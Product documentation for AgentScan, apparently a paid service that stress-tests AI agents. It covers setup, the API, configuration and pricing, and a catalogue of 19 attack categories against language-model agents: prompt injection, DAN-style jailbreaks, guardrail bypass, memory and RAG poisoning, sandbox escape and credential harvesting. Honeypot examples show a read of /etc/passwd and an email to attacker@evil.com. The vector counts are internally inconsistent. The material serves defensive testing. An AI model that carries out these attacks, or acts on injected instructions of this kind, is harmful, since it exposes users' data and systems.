Getting Started
Get up and running with AgentScan in minutes. You can use the web dashboard or the REST API.
Option A: Web Dashboard (easiest)
The fastest way to start scanning:
- Go to agentscan.sh/register and create an account
- Verify your email (check inbox and spam)
- Go to Dashboard > API Keys and create a key
- Go to Dashboard > New Scan
- Enter your agent URL, set authentication if needed, click Detect to auto-configure
- Click Launch Scan - watch progress in real time
- View results with grade, vulnerabilities, and remediation advice
The dashboard offers auto-detection of agent format, real-time scan progress with error tracking, live throttle adjustment during scans, and PDF report downloads.
Option B: REST API
For automation, CI/CD, or programmatic access:
1. Register an account
Create a new account by sending your email and password:
This returns a JWT access token and sets httponly cookies for session management.
2. Verify your email
Check your inbox for a verification email and click the link. You must verify before running scans. If you did not receive the email, request a new one:
3. Create an API key
API keys are used to authenticate scan requests. Create one with your JWT:
Save the returned key (prefixed ask_). It is only shown once.
4. Run your first scan
Submit a scan against your AI agent endpoint using the X-API-Key header:
The scan is queued asynchronously and returns a scan_id immediately.
5. Check results
Poll the scan endpoint until status is completed or failed:
Understanding Results
Each completed scan returns a security assessment with three key metrics:
| Metric | Range | Description |
|---|---|---|
| grade | A+ to F | Overall security grade. A+ means no vulnerabilities found. F means critical issues. |
| risk_score | 0 - 100 | Numerical risk score. 0 is safest, 100 is highest risk. |
| severity | critical, high, medium, low, info | Each vulnerability is assigned a severity level based on impact and exploitability. |
Dashboard Guide
The web dashboard provides a complete interface for managing scans, viewing results, and configuring your account.
New Scan
Navigate to Dashboard > New Scan to launch a scan from the browser.
- Target URL - Your agent's HTTP(S) endpoint
- Model name - Required for OpenAI-compatible APIs (Groq, OpenRouter, etc.)
- Agent type - Auto-set by Detect, or choose manually
- Authentication - Bearer token, API key, or gateway token for protected agents
- Detect button - Sends "Hello" to your agent and auto-configures format, streaming, and response field
- Streaming - Enable for agents that stream tokens via Server-Sent Events
- Request timeout - Increase for slow agents (default 30s, max 300s)
Advanced Options (paid plans)
- Throttling - Delay between requests (up to 3600s) and concurrency (1-10)
- Request/Response format - Override auto-detected message field and response field path
- Attack categories - Select/deselect specific categories to test
- Custom secrets - Enter API keys, passwords, or prompt fragments to monitor (one per line, max 50)
Scan Details
While a scan is running, the detail page shows:
- Progress bar - Updates after each individual test with percentage
- Current category - Shows which attack module is being tested
- Error panel - Displays rate limits (429), timeouts, and connection errors in real time
- Live throttle adjustment - If rate limiting is detected, a control appears to increase the delay without restarting the scan
When the scan completes:
- Grade (A+ to F) and risk score (0-100)
- Severity breakdown - Critical, high, medium, low counts
- Vulnerabilities grouped by category with payload sent, agent response, and remediation
- Complete test log (paid plans) - Every test with VULN/PASS/SKIP status and confidence
- OWASP mapping - Each vulnerability tagged with OWASP LLM Top 10 IDs
- PDF report download (paid plans)
If a scan fails or is interrupted, partial results are saved and displayed with a "Partial results" banner.
API Keys
Navigate to Dashboard > API Keys to create and manage keys. Keys are shown only once at creation. You can revoke keys at any time.
Billing
Navigate to Dashboard > Billing to view your current plan, usage quota, and upgrade. Payments are handled via Stripe.
Scan Configuration
Configure how AgentScan connects to and tests your AI agent. All configuration is passed via the agent_config object in the scan request body.
Agent Types
AgentScan supports 12 agent types. Each type determines the request format sent to your agent:
| Type | Request Format | Notes |
|---|---|---|
| generic | POST {"message": "..."} | Default. Works with most HTTP-based agents. |
| openai | POST {"messages": [...]} | OpenAI-compatible chat completions format. |
| dify | Dify chat-messages format | Dify.ai platform agents. |
| flowise | Flowise prediction format | Flowise chatflow agents. |
| n8n | N8N webhook format | N8N workflow webhook triggers. |
| openclaw | OpenAI-compatible | OpenClaw gateway agents. |
| autogpt | OpenAI-compatible | AutoGPT platform agents. |
| openhands | OpenAI-compatible | OpenHands platform agents. |
| anthropic | Anthropic messages format | Anthropic API-compatible endpoints. |
| langchain | LangChain serve format | LangChain/LangServe deployed agents. |
| custom | User-defined | Full control via message_field/response_field. |
| manus | Manus agent format | Manus platform agents. |
Authentication
If your agent requires authentication, set auth_type and auth_token in agent_config:
| auth_type | Header Sent |
|---|---|
| bearer | Authorization: Bearer {auth_token} |
| api_key | X-API-Key: {auth_token} |
| gateway_token | Authorization: Bearer {auth_token} (gateway format) |
Request Format
Control how messages are sent to your agent and how responses are extracted:
| Field | Default | Description |
|---|---|---|
| message_field | message | JSON field name for the attack payload. For example, chatInput for N8N. |
| response_field | auto-detect | Dot notation path to extract the response text. For example, data.generated_answer. |
Streaming
If your agent returns Server-Sent Events (SSE), enable streaming mode. AgentScan will concatenate all SSE chunks into a single response for analysis:
Throttling
Control the rate at which AgentScan sends requests to your agent. Useful for rate-limited or resource-constrained targets:
| Field | Range | Default | Description |
|---|---|---|---|
| request_delay | 0 - 3600s | 1.0s | Delay in seconds between each request. |
| concurrency | 1 - 10 | 2 | Maximum number of concurrent requests. Set to 1 for fully sequential. |
Free tier has a fixed 10-second delay between requests. Paid plans allow full control.
Request Timeout
Set how long AgentScan waits for a response from your agent before marking the test as timed out. Range: 10 to 300 seconds. The scanner auto-retries up to 3 times with increasing timeout on failure.
Custom Secrets PRO
Define sensitive strings that your agent should never reveal. AgentScan checks every agent response for exact matches. If any appear, the test is flagged as a data leak. Up to 50 strings, minimum 3 characters each.
The scan summary includes secrets_leaked and secrets_monitored counts.
Category Selection PRO
Choose which of the 19 attack categories to run. By default, all categories available on your plan are executed. Pass a categories array to select specific ones:
Agent Mode
Agent Mode is designed for testing autonomous AI agents that use tools, have memory, and take real-world actions (AutoGPT, CrewAI, LangGraph, Devin, etc.). Set "scan_mode": "agent" to activate it.
What Agent Mode does differently:
| Feature | Chat Mode | Agent Mode |
|---|---|---|
| Response capture | Text only | Text + tool_calls + function_calls |
| Honeypot tools | None | 6 fake tools injected (file_read, db_query, send_email, http_request, shell_exec, memory_store) |
| Vulnerability detection | Text analysis | Text analysis + tool call argument analysis |
| Best for | LLMs, chatbots, simple agents | Autonomous agents, multi-tool agents, MCP servers |
When the agent calls a honeypot tool (e.g. file_read("/etc/passwd") or send_email("attacker@evil.com", ...)), the call is captured and flagged as a vulnerability with the exact arguments the agent tried to pass.
Auto-Detect
If you do not specify an agent_type, AgentScan sends "Hello" in multiple formats to detect the agent type automatically. For best results, ensure authentication is configured first. For OpenAI-compatible agents, set the model name via extra_body.
Attack Categories
AgentScan tests your AI agent across 19 attack categories with 412 total attack vectors. Each category maps to OWASP LLM Top 10 risks.
1. Prompt Injection FREE LLM01 85 vectors
Tests whether the agent can be manipulated into ignoring its system prompt or following injected instructions. Includes direct injection, indirect injection, encoded payloads, multilingual attacks (8 languages), delimiter injection, few-shot poisoning, token smuggling, and chain-of-thought manipulation.
2. Data Exfiltration FREE LLM06 35 vectors
Tests whether the agent leaks sensitive information. Includes system prompt leaks, configuration extraction, PII disclosure, SSRF via markdown image injection, timing oracle attacks, and token-by-token extraction techniques.
3. Jailbreak FREE LLM01 LLM09 33 vectors
Tests whether the agent can be tricked into bypassing its safety guidelines. Includes DAN (Do Anything Now) variants, roleplay attacks, hypothetical scenario framing, gradual escalation, multi-persona manipulation, the grandma exploit, and simulation framing.
4. Tool Abuse FREE LLM07 LLM08 22 vectors
Tests whether the agent can be tricked into misusing its tools and integrations. Includes unauthorized function calls, SSRF via tool parameters, SQL injection through tool arguments, command injection, and path traversal attacks.
5. Privilege Escalation FREE LLM08 10 vectors
Tests whether the agent can be convinced to operate with elevated privileges. Includes admin role claims, debug mode activation, sudo-style privilege requests, token impersonation, and permission inheritance exploits.
6. Guardrail Bypass PRO LLM01 LLM02 16 vectors
Tests whether the agent's safety filters can be evaded through encoding and obfuscation. Includes ROT13, leetspeak, homoglyph substitution, morse code, braille encoding, phonetic spelling, reverse text, and language mixing techniques.
7. Structured Output Injection PRO LLM02 12 vectors
Tests whether the agent can be manipulated into producing malicious structured output. Includes JSON injection, SQL injection via output, code injection, CSV formula injection, XML injection, YAML injection, TOML injection, and markdown table injection.
8. Function Calling Abuse PRO LLM07 12 vectors
Tests whether the agent's function calling mechanism can be exploited. Includes function hijacking, parameter confusion, recursive function calls, schema injection, and namespace collision attacks.
9. RAG Poisoning PRO LLM03 LLM05 14 vectors
Tests whether the agent's retrieval-augmented generation pipeline can be poisoned. Includes document injection, context window overflow, fake citation generation, metadata injection, and chunk hijacking attacks.
10. Multi-Step Exploitation PRO LLM01 LLM08 21 vectors
Tests whether the agent is vulnerable to attacks that span multiple interactions. Includes temporal attacks, state reset manipulation, logic bombs, persona drift, boiling frog (gradual escalation), and incremental permission acquisition.
11. Agent Autonomy Abuse PRO LLM08 26 vectors
Tests whether an autonomous agent can be manipulated into performing unintended actions. Includes skill injection, goal hijacking, sandbox escape, credential harvesting, and recursive self-modification attacks.
12. Multi-Turn Agent PRO LLM01 LLM08 13 vectors
Tests whether the agent is vulnerable to manipulation across a sustained conversation. Includes trust building, memory injection, session hijacking, rapport building, and authority transfer attacks.
13. State Injection + Backdoor Detection ENTERPRISE LLM03 LLM07 22 vectors
Tests whether the agent's persistent state can be poisoned. Includes memory poisoning, vector store injection, session fixation, and cache poisoning attacks.
14. MCP Attack ENTERPRISE LLM07 LLM05 12 vectors
Tests MCP (Model Context Protocol) tool poisoning vectors. Includes tool description injection, tool shadowing, rug pull simulation, cross-tool contamination, approval bypass, log-to-leak exfiltration, and environment variable harvesting via fake tool parameters. Based on Invariant Labs 2025 research (84.2% ASR).
15. DoS / Resource Exhaustion PRO LLM04 14 vectors
Tests if the agent can be crashed or resource-exhausted. Includes ThinkTrap infinite reasoning loops (NDSS 2025), BadThink overthinking (arXiv:2511.10714), sponge prompts, JSON nesting bombs, regex DoS, infinite delegation, tool loop induction, and output amplification attacks.
16. Output Safety PRO LLM02 LLM09 34 vectors
Tests if the agent generates unsafe outputs. Includes insecure code generation (SQLi, XSS, eval, command injection in code), hallucinated package recommendations (slopsquatting, 19.7% hallucination rate), phishing email generation, disinformation content, adversarial suffix probes (GCG-style), and bias detection.
17. Privacy / PII Extraction ENTERPRISE LLM06 12 vectors
Tests for PII leakage and privacy violations. Includes training data memorization probes (Carlini et al., USENIX 2021), membership inference, GDPR Article 15 exploitation, cross-session data leaks, divergence prompts, and social engineering PII extraction.
18. Multimodal Injection ENTERPRISE LLM01 10 vectors
Tests injection via non-text modalities. Includes FigStep-style image injection (AAAI 2025, 82.5% ASR), typographic injection, PDF/audio transcript injection, SVG with embedded scripts, steganographic text, base64 image payloads, data URI injection, and markdown image exfiltration.
19. Side-Channel ENTERPRISE LLM10 LLM06 8 vectors
Tests for information leakage via side channels. Includes model fingerprinting, capability surface probing, error message differential analysis, token count inference (arXiv:2412.15431), infrastructure probing, and rate limit fingerprinting.
Authentication Endpoints
All auth endpoints are under /api/v1/auth.
Register a new user. Returns JWT access token. Sets httponly cookies.
| Field | Type | Description |
|---|---|---|
| email* | string | Valid email address |
| password* | string | Min 8 characters |
201 Account created, JWT returned
409 Email already registered
429 Rate limited (5/hour per IP)
Login with email and password. Returns JWT. Account locks after 5 failed attempts (15 min).
| Field | Type | Description |
|---|---|---|
| email* | string | Your email |
| password* | string | Your password |
200 JWT returned
401 Invalid credentials
429 Account locked or rate limited
Exchange a refresh token (sent as httponly cookie) for a new access token.
200 New access token
401 Invalid or expired refresh token
Clears JWT cookies and blacklists the current access token.
200 Logged out
Returns session status. Always returns 200 - never 401. Uses the access_token cookie.
200 Always 200
Resend the email verification link. Requires a valid JWT session.
200 Verification email sent
400 Already verified
429 Rate limited
Request a password reset email. Always returns 200 regardless of whether the email exists (to prevent enumeration).
| Field | Type | Description |
|---|---|---|
| email* | string | Account email address |
200 Reset email sent (if account exists)
429 Rate limited
Reset your password using the token from the password reset email.
| Field | Type | Description |
|---|---|---|
| token* | string | Reset token from email |
| password* | string | New password (min 8 characters) |
200 Password updated
400 Invalid or expired token
API Keys
Manage API keys for authenticating scan requests. Keys are prefixed with ask_ and shown only once at creation.
Create a new API key for authenticating scan requests. The key is only shown once in the response - store it securely.
| Field | Type | Description |
|---|---|---|
| name* | string | A label for the API key |
201 API key created
429 Rate limited (5/hour per user)
Scans
Create and retrieve security scans. All scan endpoints require an X-API-Key header.
Queue a security scan against an AI agent endpoint. Async - returns immediately with a scan ID.
| Field | Type | Description |
|---|---|---|
| target_url* | string | Agent endpoint URL (must be HTTPS in production) |
| scan_mode | string | chat (default) for LLMs/chatbots, or agent for autonomous agents with tool use. Agent mode injects honeypot tools and captures tool_calls. |
| agent_type | string | Agent type: generic, openai, anthropic, dify, flowise, autogpt, crewai, autogen, langgraph, bedrock, claude_code, cursor_agent, copilot_agent, swe_agent, devin, and 19 more |
| model_name | string | Model identifier (e.g. gpt-4o, claude-sonnet-4-20250514) |
| categories | string[] | Attack categories to test (19 total). Free: prompt_injection, data_exfiltration, jailbreak, tool_abuse, privilege_escalation. Pro+: guardrail_bypass, structured_output_injection, function_calling_abuse, rag_poisoning, multi_step_exploitation, agent_autonomy_abuse, multi_turn_agent, dos_resource_exhaustion, output_safety. Enterprise: state_injection, mcp_attack, privacy_pii_extraction, multimodal_injection, side_channel |
| webhook_url | string | URL to receive POST notification when scan completes |
| agent_config | object | Optional connection and scan config (see below) |
202 Scan queued
422 Invalid target URL
429 Rate limit (10/min) or monthly quota exceeded
Sent as POST to your webhook_url when scan finishes:
| Field | Type | Description |
|---|---|---|
| auth_type | string | bearer, api_key, or gateway_token |
| auth_token | string | Authentication token for the target agent |
| headers | object | Custom HTTP headers (max 20) |
| extra_body | object | Extra fields merged into each request body (max 32KB) |
| message_field | string | JSON field name for the message (default: message) |
| response_field | string | Dot-notation path to extract response (e.g. data.answer) |
| streaming | bool | Enable SSE/streaming response parsing |
| conversation_mode | bool | Enable multi-turn with conversation_id tracking |
| websocket_url | string | WebSocket URL for WS-based agents |
| request_delay | float | Delay between requests in seconds (0-3600, default 1.0). Increase for rate-limited targets. |
| concurrency | int | Max concurrent requests (1-10, default 2). Set 1 for sequential. |
| request_timeout | int | Request timeout in seconds (10-300). Scanner auto-retries 3x with increasing timeout. |
| custom_secrets | string[] | PAID Secrets to monitor in agent responses. If any appear, the test is flagged as a leak. Max 50 entries, min 3 chars each. |
Examples for connecting different agent types. Use agent_config to pass authentication and custom parameters.
OpenClaw / AutoGPT / OpenHands
These autonomous agents expose an OpenAI-compatible HTTP endpoint. AgentScan sends attack payloads through this endpoint, which preserves the agent's system prompt, tools, and RAG context - testing the full agent behavior, not just the raw LLM.
OpenAI / Groq / LiteLLM (OpenAI-compatible)
Generic HTTP agent (custom fields)
Dify
N8N / Flowise
Get the status and full results of a scan. Poll this endpoint until status is completed or failed.
| Parameter | Type | Description |
|---|---|---|
| scan_id* | string | Scan ID returned by POST /scans |
200 Scan data with vulnerabilities and summary
404 Scan not found
List all scans for the authenticated API key, ordered by most recent.
| Parameter | Type | Description |
|---|---|---|
| limit | int | Max results (default 20, max 100) |
| offset | int | Skip N results (default 0) |
200 Array of scan objects
Reports
Download PDF security reports for completed scans.
Download a full PDF security report for a completed scan. Accepts API key or JWT auth.
200 PDF file (application/pdf)
400 Scan not completed
503 PDF generation failed
Billing
Manage subscriptions and payments via Stripe.
Create a Stripe Checkout session to upgrade your subscription. Returns a redirect URL.
| Field | Type | Description |
|---|---|---|
| price_id* | string | Stripe price ID for the plan |
200 {"checkout_url": "https://checkout.stripe.com/..."}
502 Billing service unavailable
Create a Stripe Billing Portal session to manage your subscription.
200 {"portal_url": "https://billing.stripe.com/..."}
400 No billing account
Response Schemas
Data structures returned by the AgentScan API.
VulnerabilityResult
Returned for each vulnerability found during a scan.
| Field | Type | Description |
|---|---|---|
| category | string | Attack category (e.g. prompt_injection) |
| attack_name | string | Name of the specific attack vector |
| severity | string | critical, high, medium, low, or info |
| description | string | Human-readable description of the vulnerability |
| payload_used | string | The exact payload that triggered the vulnerability |
| agent_response | string | The agent's response to the payload |
| remediation | string | Suggested remediation steps |
| owasp | string[] | OWASP LLM Top 10 mappings (e.g. ["LLM01"]) |
| eu_ai_act | string | Relevant EU AI Act article |
| nist_ai_rmf | string | Relevant NIST AI RMF category |
TestResult
Returned for every test executed during a scan (including passes and skips).
| Field | Type | Description |
|---|---|---|
| category | string | Attack category |
| attack_name | string | Name of the specific attack vector |
| severity | string | critical, high, medium, low, or info |
| description | string | Description of the test |
| payload_sent | string | The payload sent to the agent |
| agent_response | string | The agent's response |
| is_vulnerable | bool | Whether the test found a vulnerability |
| confidence | float | Confidence score (0.0 to 1.0) |
| result | string | VULNERABLE, PASS, or SKIPPED |
| remediation | string | Suggested remediation (if vulnerable) |
| owasp | string[] | OWASP LLM Top 10 mappings |
Summary
Aggregate statistics returned with each completed scan.
| Field | Type | Description |
|---|---|---|
| total_tests | int | Total number of tests in the scan |
| total_completed | int | Tests that completed successfully |
| total_skipped | int | Tests skipped due to timeout or error |
| total_vulnerabilities | int | Number of vulnerabilities found |
| risk_score | int | Overall risk score (0-100) |
| risk_level | string | Risk level label (critical, high, medium, low, minimal) |
| by_severity | object | Vulnerability counts by severity: {"critical": 0, "high": 1, ...} |
| by_category | object | Vulnerability counts by category: {"prompt_injection": 2, ...} |
| rate_limit_retries | int | Number of rate limit retries during the scan |
| secrets_leaked | int | Number of custom secrets found in agent responses |
| secrets_monitored | int | Total number of custom secrets being monitored |
Compliance
AgentScan maps findings to major AI security frameworks and regulations.
OWASP LLM Top 10
AgentScan maps every vulnerability to the OWASP Top 10 for LLM Applications. The table below shows which attack categories test for each risk:
| ID | Risk | Categories Tested |
|---|---|---|
| LLM01 | Prompt Injection | prompt_injection, jailbreak, guardrail_bypass, multi_step_exploitation, multi_turn_agent |
| LLM02 | Insecure Output Handling | guardrail_bypass, structured_output_injection |
| LLM03 | Training Data Poisoning | rag_poisoning, state_injection |
| LLM04 | Model Denial of Service | Not tested |
| LLM05 | Supply Chain Vulnerabilities | rag_poisoning |
| LLM06 | Sensitive Information Disclosure | data_exfiltration |
| LLM07 | Insecure Plugin Design | tool_abuse, function_calling_abuse, state_injection |
| LLM08 | Excessive Agency | tool_abuse, privilege_escalation, agent_autonomy_abuse, multi_step_exploitation, multi_turn_agent |
| LLM09 | Overreliance | jailbreak |
| LLM10 | Model Theft | Not tested |
EU AI Act
AgentScan scan results map to the following EU AI Act articles for high-risk AI systems:
| Article | Requirement | How AgentScan Helps |
|---|---|---|
| Art. 9 | Risk Management | Risk scoring (0-100) and severity grading for each vulnerability |
| Art. 10 | Data Governance | Data exfiltration and RAG poisoning tests validate data handling |
| Art. 13 | Transparency | Detailed audit trail of every test payload and agent response |
| Art. 14 | Human Oversight | Agent autonomy and privilege escalation tests verify override controls |
| Art. 15 | Accuracy, Robustness & Cybersecurity | Jailbreak, injection, and bypass tests measure robustness under attack |
NIST AI RMF
AgentScan findings can be mapped to the NIST AI Risk Management Framework functions:
| Function | Description | AgentScan Coverage |
|---|---|---|
| GOVERN | Policies and accountability | Compliance reports with OWASP and regulatory mappings |
| MAP | Context and risk framing | Attack surface mapping across 19 categories and 372 vectors |
| MEASURE | Risk analysis and tracking | Quantitative risk scores, severity ratings, and trend comparison |
| MANAGE | Risk treatment and monitoring | Remediation guidance and recurring scan support |
Troubleshooting
Common issues and how to resolve them.
429 Rate Limiting
If your agent returns 429 errors, increase request_delay in agent_config. You can also use the throttle feature live during a scan from the dashboard. Range: 0-3600 seconds.
Timeouts
Increase request_timeout (range: 10-300 seconds). The scanner automatically retries up to 3 times with increasing timeout on each retry. If all retries fail, the test is marked as SKIPPED.
Connection Errors
Verify the target URL is accessible from the public internet. Confirm authentication credentials are correct. The agent must return JSON responses. Non-JSON responses will cause test failures.
SKIPPED Tests
SKIPPED means the test timed out or errored after all retry attempts. It is not a pass or fail - it means the test could not be completed. Check your agent's availability and response times.
"Could not detect" Agent Type
Auto-detection sends "Hello" in multiple formats. If detection fails, set auth_type and auth_token first, then try again. For OpenAI-compatible agents, set the model name explicitly via extra_body.
Scan Stuck in "running"
Check the worker health endpoint. Long-running scans may have timed out at the system level. If a scan has been running for more than 30 minutes with no progress, it may need to be restarted.
Plans & Pricing
Choose the plan that fits your security testing needs.
Plan Comparison
| Feature | Free ($0) | Pro ($149/mo) | Enterprise (custom) |
|---|---|---|---|
| Attack vectors | 185 | 348 | 412 |
| Attack categories | 5 | 14 | 19 (all) |
| Scans per month | 2 | 100 | Unlimited |
| Concurrent scans | 1 | 5 | 10 |
| Custom secrets monitoring | - | Up to 50 | Up to 50 |
| Category selection | - | Yes | Yes |
| Scan throttling | Fixed (1 req / 10s) | Configurable | Configurable |
| Multi-turn attacks | - | Yes | Yes |
| PDF reports | - | Yes | Yes |
| Webhook notifications | - | Yes | Yes |
| Full test audit trail | - | Yes | Yes |
Rate Limits
| Endpoint | Limit | Window |
|---|---|---|
| POST /scans | 10 requests | Per minute, per API key |
| POST /auth/login | 10 attempts | Per minute, per IP |
| POST /auth/register | 5 attempts | Per hour, per IP |
| POST /keys | 5 keys | Per hour, per user |
| Account lockout | 5 failed logins | 15 min lockout |